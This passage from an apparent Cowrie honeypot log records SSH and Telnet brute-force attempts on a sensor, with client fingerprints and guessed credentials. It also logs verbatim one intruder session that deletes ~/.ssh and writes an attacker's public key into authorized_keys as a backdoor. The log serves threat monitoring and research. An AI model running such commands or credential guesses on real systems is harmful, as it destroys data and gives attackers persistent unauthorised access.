aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:23.419577Z","src_ip":"159.203.92.129","session":"2553757b7ff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andou","password":"andou","message":"login attempt [andou/andou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:23.430846Z","src_ip":"159.203.92.129","session":"2553757b7ff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin2024","message":"login attempt [sysadmin/sysadmin2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:23.830452Z","src_ip":"103.180.212.135","session":"9622182eab34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:24.436947Z","src_ip":"159.203.92.129","session":"2553757b7ff9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:25.031343Z","src_ip":"103.180.212.135","session":"9622182eab34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.887768030166626,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:27.125717Z","src_ip":"185.26.126.47","session":"a2997a1472c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.87252712249756,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:39.026163Z","src_ip":"185.26.126.47","session":"55a16b820065","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":40078,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a430eede2d4","protocol":"telnet","message":"New connection: 185.26.126.47:40078 (159.203.135.109:23) [session: 3a430eede2d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:48.878250Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":56088,"dst_ip":"10.17.0.5","dst_port":22,"session":"c92f8b4880a8","protocol":"ssh","message":"New connection: 80.94.92.182:56088 (10.17.0.5:22) [session: c92f8b4880a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:54.581364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:54.852538Z","src_ip":"80.94.92.182","session":"c92f8b4880a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:54.856519Z","src_ip":"80.94.92.182","session":"c92f8b4880a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:56.081079Z","src_ip":"80.94.92.182","session":"c92f8b4880a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":46716,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5b5d0fbd76b","protocol":"telnet","message":"New connection: 185.26.126.47:46716 (159.203.135.109:23) [session: f5b5d0fbd76b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:57.007979Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":46860,"dst_ip":"159.203.135.109","dst_port":23,"session":"d334ba2fa562","protocol":"telnet","message":"New connection: 185.26.126.47:46860 (159.203.135.109:23) [session: d334ba2fa562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:57.195422Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:34:57.329226Z","src_ip":"80.94.92.182","session":"c92f8b4880a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":59694,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd0eb1ae0683","protocol":"ssh","message":"New connection: 165.154.5.173:59694 (10.17.0.5:22) [session: dd0eb1ae0683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:02.733809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:02.741205Z","src_ip":"165.154.5.173","session":"dd0eb1ae0683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:02.964616Z","src_ip":"165.154.5.173","session":"dd0eb1ae0683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2E3R4","message":"login attempt [root/q1w2E3R4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:03.886902Z","src_ip":"165.154.5.173","session":"dd0eb1ae0683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":52798,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f1aead5ba77","protocol":"telnet","message":"New connection: 185.26.126.47:52798 (159.203.135.109:23) [session: 1f1aead5ba77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:04.679386Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:05.114315Z","src_ip":"165.154.5.173","session":"dd0eb1ae0683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43530,"dst_ip":"159.203.135.109","dst_port":22,"session":"d65543801adc","protocol":"ssh","message":"New connection: 159.203.92.129:43530 (159.203.135.109:22) [session: d65543801adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:08.857868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:08.862789Z","src_ip":"159.203.92.129","session":"d65543801adc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:08.868504Z","src_ip":"159.203.92.129","session":"d65543801adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andre","password":"123456","message":"login attempt [andre/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:08.880855Z","src_ip":"159.203.92.129","session":"d65543801adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:09.925324Z","src_ip":"159.203.92.129","session":"d65543801adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":51680,"dst_ip":"159.203.135.109","dst_port":22,"session":"114bff3d48c6","protocol":"ssh","message":"New connection: 103.180.212.135:51680 (159.203.135.109:22) [session: 114bff3d48c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:22.091488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:22.096272Z","src_ip":"103.180.212.135","session":"114bff3d48c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:22.289774Z","src_ip":"103.180.212.135","session":"114bff3d48c6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwertyuiop","message":"login attempt [oracle/qwertyuiop] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:23.096564Z","src_ip":"103.180.212.135","session":"114bff3d48c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:23.532040Z","src_ip":"103.180.212.135","session":"114bff3d48c6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:23.535853Z","src_ip":"103.180.212.135","session":"114bff3d48c6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:23.539794Z","src_ip":"103.180.212.135","session":"114bff3d48c6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:23.737010Z","src_ip":"103.180.212.135","session":"114bff3d48c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:24.167940Z","src_ip":"103.180.212.135","session":"114bff3d48c6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:24.171942Z","src_ip":"103.180.212.135","session":"114bff3d48c6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:24.371899Z","src_ip":"103.180.212.135","session":"114bff3d48c6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:24.375938Z","src_ip":"103.180.212.135","session":"114bff3d48c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":51690,"dst_ip":"159.203.135.109","dst_port":22,"session":"397d1a0b981e","protocol":"ssh","message":"New connection: 103.180.212.135:51690 (159.203.135.109:22) [session: 397d1a0b981e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:24.565433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:24.570222Z","src_ip":"103.180.212.135","session":"397d1a0b981e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:24.765697Z","src_ip":"103.180.212.135","session":"397d1a0b981e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:25.581125Z","src_ip":"103.180.212.135","session":"397d1a0b981e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.3084716796875,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:26.186617Z","src_ip":"185.26.126.47","session":"3a430eede2d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:26.780970Z","src_ip":"103.180.212.135","session":"397d1a0b981e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":51702,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c0d6f6771f5","protocol":"ssh","message":"New connection: 103.180.212.135:51702 (159.203.135.109:22) [session: 8c0d6f6771f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:26.971604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:35:26.975773Z","src_ip":"103.180.212.135","session":"8c0d6f6771f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group